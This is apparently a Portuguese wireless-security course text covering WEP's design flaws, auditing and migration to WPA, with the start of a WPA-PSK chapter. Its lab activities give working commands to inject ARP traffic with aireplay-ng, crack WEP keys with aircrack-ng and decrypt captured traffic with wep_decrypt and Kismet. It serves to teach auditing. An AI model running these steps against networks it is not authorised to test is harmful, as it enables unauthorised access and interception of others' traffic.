11 Pseudo Random Generation Algorithm (PRGA). 11 Entradas: 22 Chave. 22 Chave WEP (PSK) + IV. 11 Comprimento dos dados. 22 Para que PRGA tenha o mesmo tamanho dos dados a serem cifrados. 11 Sada do algoritmo RC4: 22 Texto cifrado = XOR entre PRGA e texto em claro. 22 XOR > ou Exclusivo.
Para ser considerado seguro, o protocolo RC4 nunca pode usar uma chave mais de uma vez. Como isso possvel? A chave composta por duas partes: a chave pr-compartilhada, conhecida como chave WEP ou PSK, e um Initialization Vector (IV) de 24 bits. A funo do IV alterar, pelo menos, os ltimos 24 bits da chave usada em cada pacote, uma vez que seus bits iniciais so fixos e devem ser conhecidos por APs e clientes. O processo de cifragem WEP simples: 11 Clculo do valor ICV, um campo de 32 bits (4 bytes) adicionado ao fim do texto em claro (os dados do datagrama); 11 Algoritmo RC4 gera Pseudo Random Generation Algorithm (PRGA) com base na chave (PSK e IV concatenados) e no comprimento do texto em claro (incluindo ICV). PRGA tem o mesmo comprimento do texto em claro acrescido do ICV de 32 bits, necessrio na operao XOR; 11 Contedo do pacote cifrado, resultado de uma operao XOR entre PRGA e texto em claro (acrescido do ICV); O processo de decifrao do pacote, pelo destinatrio, um pouco mais complexo devido verificao de integridade.
109
IV
Shared key
RC4
RC4 Keystream
Plaintext XOR Integrity Check Algorithm ICV
IV
Ciphertext
Figura 6.2 Processo de cifragem dos dados por WEP.
Ciphertext
A figura anterior ilustra o processo de cifragem dos dados por WEP. Note que a chave de cada pacote a chave pr-compartilhada concatenada ao valor do IV o que tem, como objetivo, satisfazer ao pr-requisito bsico do algoritmo RC4 (chaves nicas). Note que o texto cifrado concatenado com o valor de Integrity Check Value (ICV), usado na verificao da integridade do pacote na recepo. XOR 05,8 0 0 05,8 1 1 15,8 0 1 15,8 1 0 Secret Key
II
IV
WEP Seed PRNG Key Sequence
Plaintext Integrity Algorithm ICV ICV ICV=ICV?
Ciphertext
Message
Figura 6.3 Decifrando os pacotes WEP.
11 O processo de decifrao do pacote um pouco mais complexo, pois no se trata apenas de reverter o processo de ciframento dos dados; 11 O valor do IV e o texto cifrado so separados; 11 PRGA gerado a partir dos valores do IV recebido no pacote e da chave WEP, conhecida previamente pela estao; 11 A operao XOR entre texto cifrado e PRGA revela texto em claro + ICV; 11 O processamento do pacote depende do resultado da verificao do ICV: se o ICV calculado no receptor o mesmo observado no pacote, ento encaminhado; caso contrrio, ignorado.
110
Problemas de WEP
A chave pode ser obtida a partir do texto cifrado. 11 Maior falha de WEP. 11 Ataque FMS. 11 Presena de valores conhecidos no texto, em claro. 22 Cabealho 802.2 (LLC) comea com 0xAA 0xAA. 11 Necessita de um nmero significativo de pacotes. 11 Ferramenta: wep_crack. Um dos maiores problemas do protocolo WEP a possibilidade de um atacante obter a chave usada para cifrar os pacotes a partir do prprio trfego cifrado. Em seu artigo Key Scheduling Weaknesses in the RC4 Algorithm, Fluhrer, Mantin e Shamir (FMS) apontam diversas fraquezas no processo de seleo do Initialization Vector (IV). Nesse artigo, os
valores de IV usados no protocolo WEP so considerados criptograficamente fracos, permi tindo que um atacante recupere partes da chave e a chave inteira, se conseguir obter IVs fracos numa quantidade suficiente. Um elemento crtico para o sucesso desse tipo de ataque o conhecimento prvio de uma poro do pacote cifrado por WEP. Esse fator importante desse tipo de ataque foi obtido a partir da prpria estrutura tpica dos pacotes: o cabealho 802.2 (LLC), que normalmente segue o cabealho 802.11, possui o valor 0xAA 0xAA.
Sem proteo contra replay

Pacote validado ou invalidado apenas pela integridade do ICV. 11 Integrity Check Value. 11 Supe chave WEP (PSK) correta. 11 No garante que um pacote j foi recebido anteriormente. Atacante pode injetar trfego capturado, mesmo sem conhecer o contedo.
A nica verificao que o receptor de trfego WEP faz ao receber um pacote sobre o valor do Integrity Check Value (ICV). Se o ICV observado conferir com o ICV calculado, ento a estao receptora assume que o transmissor possui a chave correta. A base dessa suposio o fato de que uma chave invlida geraria PRGA invlido, fazendo com que o pacote no seja decifrado adequadamente. Esse processo no prov um mecanismo que garanta que um pacote nunca tenha sido visto naquela rede, permitindo que trfego j recebido pela estao seja injetado. Entretanto, nesse cenrio o atacante no capaz de saber o contedo dos pacotes.
Verificao fraca de integridade

CRC32. 11 Mecanismo MIC fraco. 22 Message Integrity Check. 11 Usado tanto no clculo do ICV quanto no do FCS. 22 ICV: calculado sobre o texto em claro do pacote. 22 FCS: calculado sobre o pacote todo.
111
11 Podem ser forjados com dados arbitrrios. 22 Valores recalculados por atacante. 22 Mesmo CRC. 11 Ferramenta: HashCalc. O protocolo WEP de redes 802.11 possui outra falha envolvendo ICV: o algoritmo CRC32,
mecanismo Message Integrity Check (MIC) usado nas verificaes de integridade ICV e FCS, considerado criptograficamente fraco. Isso se deve ausncia de senha em uma auten ticao do tipo Hashed Message Authentication Mechanism (HMAC), que gera hash com nmero de bits insuficiente para tornar cada hash nico. Como j vimos, o Integrity Check Value (ICV) calculado sobre o texto em claro e concate nado ao fim deste antes de ser cifrado. J o valor Frame Check Sequence (FCS) obtido a partir do clculo CRC32 de todo o pacote. A ferramenta HashCalc pode ser usada para a gerao do mesmo valor de CRC32 para duas entradas diferentes: a chamada coliso.
w
Conhea o SlavaSoft HashCalc Hash, CRC and HMAC Calculator: http://www.slavasoft. com
Sem mecanismo de rotao de chaves

Mesma chave desde a implantao. PSK = Pre-Shared Key. 11 Conhecimento prvio da chave. Segredo compartilhado no permanece em sigilo. 11 Vazamento da chave. 11 Usurios devem conhecer a chave. Implantaes antigas: 11 Obrigam suporte para WEP. 11 Sem suporte para rotao de chaves. 11 Chave de 40 bits, chaves estticas. A rotao de chaves WEP era feita manualmente nas primeiras implantaes, em que no havia a possibilidade de rotao de chaves de implementaes mais recentes. Essa difi culdade de distribuio de chaves levou e ainda leva diversas empresas a simplesmente manterem a mesma chave por anos a fio.
O problema dessa prtica, de certa forma fundamentada na limitao da tecnologia, que no possvel controlar a distribuio de senhas compartilhadas entre vrios usurios. O vazamento da chave permite que a chave eventualmente chegue a mos erradas, facilitando a ao de um atacante.
Em algumas organizaes, simplesmente no possvel implantar mecanismos de segu rana mais fortes devido necessidade de se manter a compatibilidade com equipamentos mais antigos. O resultado a implantao, muitas vezes, de chaves estticas com 40 bits, mais suscetveis a ataques.
112
Vetor de inicializao muito curto

11 Alta probabilidade de ocorrncia de coliso. 11 Matemtica aumenta as chances de coliso, mesmo com 16.7 milhes de possibilidades. 22 Paradoxo do aniversrio. 22 50% de probabilidade em 4.826 pacotes. 11 Seleo sequencial de IVs. 11 Cada pacote deve ter chave nica. 11 Requisito de RC4. 11 Ferramentas para identificar IVs: Kismet, Aircrack-NG (Airodump-NG). Como vimos anteriormente, o vetor de inicializao (IV) um elemento crtico na cifragem
pelo algoritmo RC4, corao de WEP. ele que torna a chave nica por pacote, j que a chave WEP esttica. A repetio de valores de IV, denominada coliso, sinnimo de comprometimento da chave. Embora parea muito, um espao de 24 bits (16.7 milhes de combinaes) para valores de IV pouco, se levarmos em conta que a taxa de transmisso de uma rede 802.11 da ordem de 6 mil pacotes por segundo. Existem dois fatores na seleo de IVs com influncia na probabilidade de colises: 11 Ataque do dicionrio: o paradoxo do aniversrio afirma que, em um lugar com 23 pessoas, h 50% de chances de duas pessoas compartilharem o mesmo dia de aniversrio. No cenrio de 16.772.216 possibilidades do espao de IVs WEP possveis, temos a possibilidade de colises aps apenas 4.826 pacotes; 11 Seleo sequencial de IVs: considerando o caso de dispositivos que selecionam IVs de maneira sequencial, o perodo do dia em que as pessoas ligam suas estaes na organi zao altamente propcio para um atacante obter colises sem a necessidade de coletar pacotes por horas ou at dias.
Fase de desafio-resposta revela o PRGA

Atacante pode monitorar a fase de autenticao: 11 AP envia desafio para a estao. 11 Estao cifra o desafio com a chave WEP que conhece e envia para o AP. 11 Desafio o texto em claro. 11 Resposta o texto cifrado. 22 Desafio XOR. 22 Resposta = PRGA.
tindo que o atacante obtenha o PRGA. Ao requisitar acesso a um AP, a estao recebe um desafio (challenge), que consiste num texto em claro. Ao receber o texto, a estao o cifra com a chave WEP que possui e envia o texto cifrado de volta para o AP. O AP tambm cifra o texto com sua chave, e o compara com o texto cifrado enviado pela estao. Se os textos cifrados conferem, o AP assume que a estao tem a chave WEP correta e autentica a estao.
113
Essa falha no poderia ser diferente das demais: outra falha de projeto, dessa vez permi -
A falha nesse processo est na oportunidade de o atacante ter acesso fcil a texto em claro e cifrado. Lembre-se de que: 11 XOR entre texto em claro e cifrado tem, como produto, PRGA; 11 XOR entre texto em claro e PRGA tem, como produto, texto cifrado.
Para pensar
Em posse do PRGA, um atacante capaz de criar texto cifrado e injetar pacotes vlidos na rede.
Ataques contra WEP

Implementaes do ataque FMS: 11 Implementaes das vulnerabilidades apontadas por FMS. 11 Ferramentas: 22 Aircrack-ng: principal ferramenta. 22 AirSnort: inativo. 22 Aircrack: inativo. 11 Aircrack-NG j implementa o novo e mais rpido ataque PTW (2007). 22 Aircrack-ptw. Existem ferramentas que implementam ataques com base nas vulnerabilidades descritas por FMS, com graus de eficincia variveis.
AirSnort a implementao mais conhecida, embora exija a captura de centenas de milhares de pacotes. Perdeu sua eficincia com o surgimento de firmwares que evitam os IVs fracos descritos por FMS, mas recuperou parte dela melhorando seu suporte a ataques estatsticos. Aircrack uma implementeo mais recente e eficiente que AirSnort. Diferente deste ltimo, Aircrack requer um arquivo LIBPCAP e no capaz de quebrar a chave durante a captura. Entretanto, muito mais eficiente que AirSnort: em mdia, 250 mil pacotes so suficientes para a obteno da chave. Atualmente Aircrack est inativo. Aircrack-ng uma verso completamente nova de Aircrack, baseada no cdigo. Implementa, inclusive, o recente ataque PTW.
Ataque de dicionrio
11 til apenas em AP de fabricantes que restringem a seleo de chaves a caracteres ASCII. 11 Utilidade de fingerprinting.
11 Calcula PRGA. 11 Requer apenas dois pacotes, um IV e palavras (dicionrio). 11 PRGA a partir de palavras e IV observado. 11 Verifica tentativa procurando por caracteres 0xAA 0xAA. 22 Incio do cabealho 802.2 (SNAP) para pacotes IP unicast. Ferramentas: WepAttack e John the Ripper.
114
Esse ataque tira proveito da prtica de alguns fornecedores de AP que restringem o espao de caracteres possveis a ASCII. Nesse cenrio, o atacante precisa de apenas dois pacotes e de recursos computacionais para iniciar um ataque de dicionrio off-line. Os elementos do ataque podem ser resumidos em: 11 Tentativa de decifrar o pacote a partir de palavras e do IV observado; 11 Verificao do sucesso das tentativas buscando os caracteres 0xAA 0xAA, tpicos do incio do cabealho SNAP (802.2), que indicam que o pacote foi decifrado; 11 Por que coletar dois pacotes? Verificao dupla, no caso de descoberta da chave.
Algoritmo de gerao de chaves Neesus Datacom

11 Objetivo de gerar chaves WEP a partir de um texto qualquer. 11 Chaves hexadecimais a partir de qualquer palavra. 11 Problema: 11 gerao de chaves fracas. 11 Presente nos APs de diversos fornecedores. 11 Ferramentas: nwepgen, wep_crack, 11 utilizadas em chaves de 40 bits.
Ao criar chaves WEP, normalmente se utilizam palavras de dicionrio, o que facilita ataques. Outro fator que limita a escolha a exigncia de comprimento: 10 caracteres para WEP 40 bits, e 26 para 104 bits.
No raro o administrador de rede escolher uma chave baseada em uma palavra com caracteres repetidos, de forma que o requisito de comprimento seja atendido.
Visando a facilitao do processo de criao de chaves, a empresa Neesus Datacom desen volveu um algoritmo que gera chaves WEP a partir de qualquer cadeia de at 16 caracteres. Embora no seja um padro oficial, muitos fornecedores implementam esse mecanismo para a gerao de chaves.
115
Infelizmente, o algoritmo Neesus Datacom no gera chaves WEP exclusivas, falhando em seu objetivo e possibilitando ataques. A primeira operao do algoritmo j comea a tornar as chaves menos nicas, uma vez que quebra a senha digitada em blocos de 4 bytes e realiza uma operao de XOR entre as colunas. Outro fator da senha que torna as chaves menos nicas o fato de caracteres ASCII terem valores em hexadecimal que variam de 0x00 a 0x7F, sendo que o bit mais significativo nunca definido (7F = 1111111). Ao final, uma chave de 40 bits passa a ser to nica quanto uma chave de 21 bits um espao de possibilidades que permite que um atacante tente todas as 221 combinaes (2.097.152 chaves) em um ataque de fora bruta.
Figura 6.4 Algoritmo de gerao de chaves Neesus Datacom.
Auditando redes com WEP

Identificando redes com WEP. 11 Privacy bit normalmente definido. 22 Wireshark: display filter wlan.fc.protected == 1. 11 Pacotes de desafio/resposta. 11 Anlise dos quadros beacon. 22 Ausncia de TKIP (WPA1) e AES (WPA2).
22 Ausncia de trfego 802.1x. 33 Quadros EAPOL (EAP Over LAN). 33 Wireshark: display filter eapol. Existem diversas maneiras de identificar trfego WEP. Algumas delas: 11 Procurar por pacotes que estejam com o privacy bit ativado. Isso pode ser feito no Wireshark atravs do display filter wlan.fc.protected == 1. Lembre-se de que conexes MAN Lucent no apresentam esse bit;
116
11 Procurar por trfego de desafio/resposta, tpico da fase de autenticao WEP; 11 Selecionar quadros beacon e examin-los, em busca de indicadores da presena de WEP ou ausncia de TKIP (WPA1) e AES (WPA2). Isso pode ser feito no Wireshark com auxlio do display filter wlan.fc.type == 0; 11 Procurar pela presena de trfego EAPOL (EAP Over LAN), que pode indicar a presena de 802.1x e, por consequncia, a ausncia de autenticao WEP.
Etapas da auditoria
11 A auditoria depende da quantidade de trfego coletada. 11 Sequncia de tcnicas sugerida: 22 Recuperao de chaves de 40 bits Neesus Datacom. 11 Ataque de dicionrio: 22 Usar WepAttack associado ao John the Ripper. 22 Personalizar dicionrio com dados da organizao: nomes de pessoas, nome da empresa. 11 Verificar o indicador de IVs fracos de Kismet. 22 Arquivo . network. 22 Do ponto de vista de AirSnort, no de Aircrack-ng.
Avaliar uma rede com WEP depende do tempo que o auditor tem sua disposio quanto mais tempo disponvel, melhor a anlise. recomendvel que se comece a auditoria por wep_crack, verificando se a rede utiliza o algoritmo Neesus Datacom. Na sequncia, uma associao entre as ferramentas WepAttack e John the Ripper em um ataque de dicionrio personalizado pode revelar chaves baseadas no nome de funcionrios ou da empresa. possvel identificar se h interfaces de rede que selecionam IVs fracos (artigo FMS). Isso pode ser feito com a anlise da sada do utilitrio Kismet, mais especificamente o campo Weak do arquivo .nework.
Melhorando a segurana de redes WEP

Quando WEP no apropriado: 11 Em redes que no tolerem captura e deciframento de trfego e acesso no autorizado. 11 Para anlise de riscos. Quando WEP apropriado:
PDA Pequeno computador que cumpre as funes de agenda e sistema informtico de escritrio, com possibilidade de interconexo com um computador e uma rede Wi-Fi para acesso a e-mail e internet.
11 Quando o hardware no compatvel com WPA/WPA2. 11 Para uso domstico sem pretenso de ser seguro. 11 Associado ao uso de VPN. 22 O mesmo vale para WPA e WPA2, Personal ou Enterprise. Embora tenhamos, de certa forma, provado neste captulo que o WEP j foi condenado, essa tecnologia ainda pode ser aplicada em alguns cenrios. O primeiro deles , na realidade, uma limitao: muitos Access Points mais antigos, PDAs e telefones IP no oferecem segurana superior a WEP. Isso faz com que o administrador da rede tenha de usar o que estiver ao seu alcance para contornar a insegurana de WEP. 117
Outro cenrio em que WEP pode ser apropriado para uso domstico, desde que o usurio esteja ciente de que um atacante determinado no ser contido. Redes desprovidas de segurana so alvos mais fceis; de qualquer forma, mesmo redes com WEP dependem de certas condies (captura de grande quantidade de trfego, horrio ideal de captura etc.) para permitirem a interceptao dos dados ou o acesso no autorizado da rede.
Migrar para um mtodo de segurana mais forte

WPA (TKIP) ou WPA2 (CCMP) com cifra AES. 11 Dynamic WEP: 22 Reduzir intervalo de emisso de chaves. 22 30 segundos, se possvel. 33 Dificulta ataque FMS. 11 Colises de IV: 22 Aumentam, se o intervalo de emisso pequeno. 22 Seleo de IV sequencial associada com a nova chave.
possvel tornar WEP mais seguro por segurana em profundidade (In-Depth Security), ou seja, pela adoo de mecanismos de segurana em vrias camadas, embora esse no seja o foco deste curso. Comparado com mecanismos de segurana mais recentes, WEP oferece menos segurana e deve ser substitudo por mecanismos mais eficientes, tais como TKIP (WPA1) ou AES (WPA2). Caso essa substituio por mecanismos mais modernos e seguros no seja possvel, por motivos financeiros ou por manuteno de compatibilidade, vivel implantar Dynamic WEP e reduzir o intervalo de emisso de chaves para 30 ou 60 segundos. Essa medida dificultar ataques FMS, uma vez que o atacante no conseguir coletar IVs suficientes. Colises de IV no podem ser evitadas, j que tanto estaes como APs podem selecionar os valores de IV de maneira sequencial. Por outro lado, reduzir o intervalo de emisso de chaves aumenta a utilizao de CPU e gera mais colises de IV, uma vez que o contador zerado para 00:00:00 com mais frequncia.
118
Este captulo teve o propsito de demonstrar a vulnerabilidade do protocolo WEP e no de ensinar tcnicas de cracking, o que est fora do seu escopo. Outro aspecto importante da prtica est no fato de que a parte inicial do processo de recuperao da chave, captura de pacotes WEP, filtragem e seleo correta dos pacotes podem demandar muito tempo, devido a variveis como distncia do AP, interferncia, instabilidade do driver rt73 da interface Linksys WUSB54GC. Para garantir uma experincia positiva, fornecemos um arquivo de captura ideal. As ferramentas utilizadas so airmon-ng, airodump-ng, aireplay-ng e aircrack-ng, partes do pacote Aircrack-ng.
Atividade 6.1 Capturando pacotes cifrados com WEP com ferramentas Aircrack-ng
Antes de usar a ferramenta Aircrack-ng, precisamos capturar trfego ideal, com vetores de inicializao em quantidade suficiente para a recuperao da chave. Hoje, com apenas 40 mil pacotes, a probabilidade de sucesso na recuperao de uma chave WEP 104 bits de cerca de 50%. A probabilidade de sucesso aumenta para 80% com 60 mil pacotes e para 95% com 85 mil pacotes. Capturar esse volume de trfego naturalmente pode levar muito tempo, dependendo do volume de trfego da rede. Para resolver esse problema, aprenderemos a acelerar a captura do trfego ideal pela injeo de trfego. Antes de qualquer ao, devemos conhecer a rede cuja chave desejamos recuperar. interessante que capturemos apenas trfego relevante, ou seja, que pertena ao AP em questo. Vamos usar Airodump-ng para conhecer os seguintes dados: 11 Endereo MAC de um cliente associado ao AP: Escolha um cliente com mais trfego (painel inferior); 11 Endereo MAC do AP (BSSID): informe-se com o instrutor sobre o BSSID correto; 11 Canal. Para visualizar as redes, execute os seguintes comandos:
# airmon-ng start wlan0 # airodump-ng mon0

Selecione um BSSID, MAC (cliente) e um canal. Anote-os.
BSSID: MAC: Canal: J colocamos a interface wlan0 em modo Monitor com a execuo do comando airmon-ng. Agora vamos iniciar a captura do trfego especfico. Comecemos abrindo trs terminais diferentes. Para efeito de organizao, vamos executar todos os comandos a partir do seguinte diretrio:
119
/root/Desktop/SEG6/saidas/
Para isso, vamos executar o seguinte comando em um terminal:
# cd /root/Desktop/SEG6//saidas/wep
Execute o seguinte comando:
# airodump-ng --channel <Canal> --bssid <BSSID> wlan0 -w airodumpsaida

Substitua o valor do parmetro --bssid pelo BSSID que anotamos. Escolha o canal correto e utilize-o como parmetro --channel. No diretrio /root/Desktop/SEG6/saidas/wep, sero criados arquivos no formato airodump-saida-xx.cap, onde xx um nmero sequencial com incio em 01. Se por algum motivo interrompermos esse comando (Control + C), e se no apagarmos os arquivos com sufixo 01, sero criados novos arquivos com o nmero sequencial seguinte (exemplo: airodump-saida-02.cap). Mantenha essa janela de terminal aberta e abra outra. Nessa segunda janela de terminal executaremos a ferramenta aireplay-ng, com a finalidade de aumentar a quantidade de pacotes que trafegam na rede e capturar mais IVs em um menor espao de tempo. Para melhores resultados, tente se posicionar entre o AP e o cliente escolhidos.
# aireplay-ng -3 rausb0 -b <BSSID> -h <MAC Cliente>

Com esse comando, vamos capturar o trfego ARP entre um cliente (especificado pelo par metro h) e o AP (especificado pelo parmetro b) e o injetar novamente, criando trfego ideal mais rapidamente. Devido ao comportamento do trfego ARP, necessrio que pelo menos um cliente esteja associado ao AP para que o funcionamento da ferramenta seja bem-sucedido. O mtodo PTK usa especificamente trfego ARP, por isso esse tipo de injeo foi escolhido. Consulte a documentao do Aireplay-ng para conhecer os outros tipos de injeo. Essa a sada do comando aireplay-ng. Note que esquerda (got...) exibido o nmero de pacotes ARP capturados. direita exibido o nmero de pacotes injetados.
The interface MAC (00:1E:E5:27:C2:8A) doesnt match the specified MAC (-h). ifconfig rausb0 hw ether 00:15:AF:B6:46:45 21:50:29 Waiting for beacon frame (BSSID: 00:0F:66:81:7C:88) on channel 6 Saving ARP requests in replay_arp-0908-215029.cap
You should also start airodump-ng to capture replies. Read 1508 packets (got 136 ARP requests and 0 ACKs), sent 149 packets...(501 pps Read 1555 packets (got 176 ARP requests and 0 ACKs), sent 199 packets...(500 pps Read 1607 packets (got 222 ARP requests and 0 ACKs), sent 248
120
packets...(498 pps Read 1655 packets (got 260 ARP requests and 0 ACKs), sent 298 packets...(498 pps Read 1704 packets (got 302 ARP requests and 0 ACKs), sent 349 packets...(500 pps
Aguarde at que o nmero de pacotes injetados atinja a marca de 40 mil pacotes. Observe a sada sent xxx packets. Quando o nmero 40 mil for alcanado, avance para a atividade seguinte. bem provvel que a quantidade de pacotes necessrios no tenha sido obtida com a injeo de apenas 40 mil pacotes. Por isso, vamos manter a janela com o Aireplay-ng aberta e manter a execuo de Aircrack-ng, que realiza as colises em intervalos de 5 mil pacotes.
Atividade 6.2 Recuperando uma chave WEP utilizando o Aircrack-ng

Nesta atividade, vamos utilizar a ferramenta Aircrack-ng no Linux para recuperar a chave WEP do trfego pr-capturado. Para utilizar o Aircrack-ng, necessria uma captura com no mnimo 250 mil pacotes (IVs) para chaves WEP de 40 bits e pelo menos 500 mil pacotes (IVs) para chaves de 104 bits. O ataque PTW, introduzido em 2007, diminuiu significativamente o tempo necessrio para um ataque bem-sucedido. Usando tcnicas ativas, ou seja, enviando trfego deauth ou ARP re-injection (capturar trfego ARP e repeti-lo), esse novo ataque apenas enfatiza que a descoberta da chave WEP uma questo de hardware, software, drivers e tempo. Verifique o arquivo pr-capturado do instrutor, /root/Desktop/SEG6/ wep-aireplay-ng.cap com o Wireshark e veja quantos pacotes foram necessrios para a recuperao da chave WEP nesse caso especfico. Abra uma nova janela de terminal, a terceira janela. Mantenha as duas outras janelas abertas, com Airodump-ng e Aireplay-ng. Execute o comando aircrack-ng. Verifique os parmetros disponveis executando a prpria ferramenta aircrack-ng :
# aircrack-ng Aircrack-ng 1.0 rc1 r1085 - (C) 2006,2007,2008 Thomas dOtreppe Original work: Christophe Devine http://www.aircrack-ng.org usage: aircrack-ng [options] <.cap / .ivs file(s)> Common options: -a <amode> : force attack mode (1/WEP, 2/WPA-PSK) -e <essid> : target selection: network identifier -b <bssid> : target selection: access points MAC -q : enable quiet mode (no status output)
-C <macs> : merge the given APs to a virtual one
121
Static WEP cracking options: -c -t -h : search alpha-numeric characters only : search binary coded decimal chr only : search the numeric key for Fritz!BOX
-d <mask> : use masking of the key (A1:XX:CF:YY) -m <maddr> : MAC address to filter usable packets -n <nbits> : WEP key length : 64/128/152/256/512 -i <index> : WEP key index (1 to 4), default: any -f <fudge> : bruteforce fudge factor, default: 2 -k <korek> : disable one attack method (1 to 17) -x or -x0 : disable bruteforce for last keybytes -x1 -x2 -y -K -s : last keybyte bruteforcing (default) : enable last 2 keybytes bruteforcing : experimental single bruteforce mode : use only old KoreK attacks (pre-PTW) : show the key in ASCII while cracking : specify maximum number of IVs to use
-M <num> -D
: WEP decloak, skips broken keystreams : PTW debug: 1: disable Klein, 2: PTW
-P <num> -1
: run only 1 try to crack key with PTW
WEP and WPA-PSK cracking options: -w <words> : give filename(s) of the dictionaries -r <DB> : path to airolib-ng database (Cannot be used with -w) --help : Displays this usage screen
Exemplo de comando usando o novo ataque PTW:5
# aircrack-ng -P 2 /root/Desktop/SEG6/saidas/wep/airodump-saida-01.
cap
A captura e injeo de pacotes esto sujeitas a diversas variveis. Por isso, possvel que voc no consiga capturar o trfego mnimo necessrio. Se isso acontecer, use o arquivo pr-capturado para observar a sada bem-sucedida do comando dentro do tempo destinado ao laboratrio.
# aircrack-ng -P 2 /root/Desktop/SEG6/wep-aireplay-ng.cap
122
Verifique a quantidade de vetores de inicializao (IVs) necessrios e o tamanho da chave obtida, e estime o tempo gasto na recuperao da chave depois que o trfego ideal foi capturado. Agora vamos repetir o comando anterior com outros mtodos de ataque para constatar o avano que o ataque PTW trouxe.
Atividade 6.3 Decifrando trfego WEP

Nesta atividade, utilizaremos a ferramenta wep_decrypt para remover a proteo WEP do trfego capturado. O resultado desse comando um arquivo com o trfego capturado aberto, ou seja, quadros 802.11 do tipo data (dados) desprotegidos de WEP, como se o trfego capturado fosse de uma rede aberta. Primeiro vamos capturar mais trfego da rede da qual j descobrimos a chave no exerccio anterior. Use Airodump-ng especificando canal e SSID para capturar somente o trfego que lhe interessa, ou seja, no capture o trfego de outros Access Points. Verifique as opes do wep_decrypt:
# wep_decrypt
Execute o wep_decrypt usando os seguintes parmetros. Vamos usar o arquivo que captu ramos e a chave WEP que j obtivemos.
# wep_decrypt k chave /root/Desktop/SEG6/saidas/wep/trafego-wep. cap /root/Desktop/SEG6/saidas/wep/trafego-wep-aberto.cap

Lembre-se de que a chave tem 10 caracteres hexadecimais (0-9 a-f) se o AP foi configurado com WEP 40 bits. Se o AP foi configurado com WEP 104 bits, ento o comprimento da chave de 26 caracteres hexadecimais. Verifique o contedo decifrado (trafego-wep-aberto.cap) do trfego, utilizando Wireshark. Observe que os quadros 802.11 do tipo data (dados) agora exibem o contedo em claro, ou seja, o contedo TCP/IP. Outra maneira de decodificar o trfego WEP com Kismet. Podemos fazer isso de duas formas: 11 Em tempo real; 11 Sobre um arquivo Pcap pr-capturado. Inicie o Kismet atravs do menu BackTrack > Information Gathering > Network Analysis > WLAN Analysis > kismet. No precisamos configurar as fontes de captura no arquivo /usr/local/etc/kismet.conf, porque isso feito de maneira automtica. Entretanto, para con figurar o Kismet manualmente necessrio editar os arquivos kismet.conf e kismet_ui.conf (caso queira alterar a aparncia da interface grfica) e executar o prprio comando kismet (e no start-kismet-ng ). Em /usr/local/etc/kismet.conf, procure pelo trecho com a configurao de fontes de captura. Em seguida, configure a fonte de captura adequada para a interface do laboratrio, que usa o mdulo rt73.
ncsource=wlan0
A seguir, configure a decriptao automtica do trfego WEP, incluindo a seguinte linha:
wepkey=00:01:02:03:04:05,111111111111111111111111111
123
Onde: 11 00:01:02:03:04:05:06 o BSSID do AP; 11 A cadeia de caracteres seguinte, separada por vrgula, a chave da rede (10 caracteres hexadecimais para WEP 40 bits e 26 caracteres hexadecimais para WEP 104 bits). Ao iniciar o Kismet (comando kismet e no start-kismet-ng ), o trfego do AP especificado ser capturado e ter a proteo de WEP removida em tempo real. Pode confirmar com o comando d de Kismet, que imprime em tempo real todo texto em claro (ASCII) contido no arquivo de captura. O Kismet tambm pode ser usado para decriptar trfego WEP pr-capturado, seja com Kismet, TCPdump ou Airodump-ng (pacote Aircrack-ng), ou seja, arquivos no formato tcpdump/libpcap. Para isso substitua o capture source da interface de rede 802.11 USB pela seguinte fonte de captura:
pcapfile
Leia a seo 12 da documentao de Kismet (Capture Sources) para conhecer os parmetros desta fonte de captura. Depois de configurado, basta iniciar o Kismet. Todo o trfego do arquivo de formato libpcap ser rapidamente processado por Kismet.
124
7
Redes WPA-PSK
objetivos
Apresentar conceitos de redes WPA que usam chave compartilhada; mostrar mecanismos de autenticao e gerao de chaves; ensinar a auditar uma rede WPA-PSK; apresentar o TKIP, mecanismo de segurana criado para resolver os problemas de WEP.
conceitos
WPA, TKIP e redes WPA-PSK.
Introduo
WPA: 11 Wi-Fi Protected Access (abril de 2003). 11 Trabalho conjunto entre Wi-Fi Alliance e IEEE. 11 Baseado no draft de 802.11i (pr-padro). 11 Resolveu todos os problemas de WEP. 11 Projetado para causar pouco impacto no desempenho da rede e ser implementvel por upgrade de software. 11 TKIP para cifragem dos dados. WPA a primeira implementao do padro IEEE 802.11i e conta com a maioria de suas
especificaes. baseada em Temporal Key Integrity Protocol (TKIP) para confidencialidade e integridade dos dados. Assim como WPA2 e Wi-Fi, WPA no um padro propriamente dito. uma certificao que a Wi-Fi Alliance concede a produtos, com base em primeiro lugar em interoperabilidade entre fabricantes. O padro IEEE em questo o 802.11i, implementado por completo em WPA2, e parcialmente (baseado no draft) em WPA (pr-padro). O protocolo TKIP foi criado
Captulo 7 - Redes WPA-PSK
considerando duas limitaes: 11 Implementvel por meio de upgrade de software, de forma que no seja necessrio upgrade de hardware. Essa condio limitou a escolha de mecanismos de segurana; 11 Limitao de processamento dos dispositivos, uma vez que dispositivos de rede como interfaces de rede e Access Points no possuem poder de processamento significativo.
125
WPA
Personal: 11 No requer servidor de autenticao. 11 Pre-Shared Key (PSK). 11 Ambientes domsticos e pequenos escritrios (SOHO). Enterprise: 11 Centraliza autenticao com um servidor de autenticao central. 11 802.1x com gerncia de chaves por mtodos EAP. 22 EAP-TLS, EAP-TTLS/MSCHAPv2, PEAPv0/PEAP-MSCHAPv2, PEAPv1/EAP-GTC e EAP-SIM.
O WPA pode ser implantado de dois modos diferentes, de acordo com o porte e as necessi dades da empresa: 11 Personal: voltado para o mercado domstico e de pequenas empresas (SOHO), imple menta autenticao por chave pr-compartilhada (PSK), ou seja, a distribuio das chaves feita manualmente entre as estaes; 11 Enterprise: voltado para implantaes maiores, esse modo implementa autenticao 802.1x com um dos tipos de EAP disponveis. 11 Projetado para substituir WEP sem a necessidade de substituir hardware. 11 Baseado em RC4, como WEP. 11 Resolve os problemas de WEP. 22 IV de 48 bits e regras de sequenciamento. 22 MIC Michael. 33 Message Integrity Code. 22 Derivao e distribuio de chaves. 22 Chave por pacote com TKIP. 33 Temporal Key Integrity Protocol. O desenvolvimento de WPA foi pautado com uma importante condio: ser implantado em hardware existente. Essa condio influenciou diversos de seus componentes na limitao de processamento ou com a necessidade de ser atualizvel por software. WPA resolveu as vulnerabilidades de WEP de trs formas diferentes: 11 IV de 48 bits e regras para a sequncia: aumenta o espao do IV de 24 para 48 bits, isto , mais de 500 trilhes de possibilidades. Outra medida que afeta os IVs a existncia de regras que definem como os IVs sero selecionados e verificados; 11 Michael: WEP no implementava Message Integrity Check (MIC) em seu protocolo, essen Segurana em Redes sem Fio
